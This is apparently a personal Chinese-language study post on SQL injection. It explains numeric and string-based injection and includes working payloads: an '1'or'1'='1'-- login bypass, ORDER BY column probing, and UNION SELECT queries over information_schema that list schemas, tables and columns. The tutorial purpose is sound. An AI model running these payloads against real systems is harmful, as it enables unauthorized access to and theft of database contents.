WebLearning
WebLearning
SQL注入
本文参考探姬姐姐的文章,文章中均添加个人理解,若有错误请大佬联系我更正
什么是SQL注入
sql注入是一种通过前端输入来在后端服务器执行恶意代码的攻击方式
SQL注入的本质是后台SQL语句使用了拼接查询,未对用户输入的数据作安全处理
SQL注入的分类
- 数字型注
- 字符型注
- 搜索形注
请求方法不同,可分为
- $_GET
- $_POST
- $_HEADER
注入点不同,可分为
- 列注入
- 表注入
- order注入
- limit注入
- group by注入
数字型注入
判断表的个数
1 | SELECT * FROM db.user where id=1 order by 2 |
chatgpt:该查询将返回db.user表中id等于1的行,并按照第二列的值进行排序。
1 | SELECT column1, column2, ... |
获取数据库的库名
1 | select group_concat(schema_name) from information_schema.schemata; |
什么是schema
schema:汉语意思为提要,纲要。
在mysql中,schema=database
information_schema
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
group_concat(schema_name)
MySQL GROUP_CONCAT()
函数将组中的字符串连接成为具有各种选项的单个字符串。
猜解数据库表名
1 | 1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() |
字符型注入
假设有某个数据库的查询语句为
1 | SELECT * FROM users WHERE username='$username' AND password='$password'; |
字符型注入要注意构建 闭合
闭合 :通过伪造符号来让select语句错误执行
在上述语句中,我们可以让 username= 1'or'1'='1'--
效果为
1 | SELECT * FROM users WHERE username='-1' or '1'='1' -- ' AND password='$password'; |
其中 '1'='1'
是用真的,所以where的查询语句是成立的,就会把所有的信息都打出来
其余的方式与数字型注入差不多
判断列数
1
2
3
4SELECT * FROM users WHERE username='-1' or '1'='1' order by 1-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 2-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 3-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 4-- ' AND password='$password'; # 报错库名
1
SELECT * FROM users WHERE username='-1' or '1'='1' union SELECT 1,schema_name,2 FROM information_schema.schemata;-- ' AND password='$password';
表名
1
SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()-- ' AND password='$password';
字段名
1
SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()-- ' AND password='$password';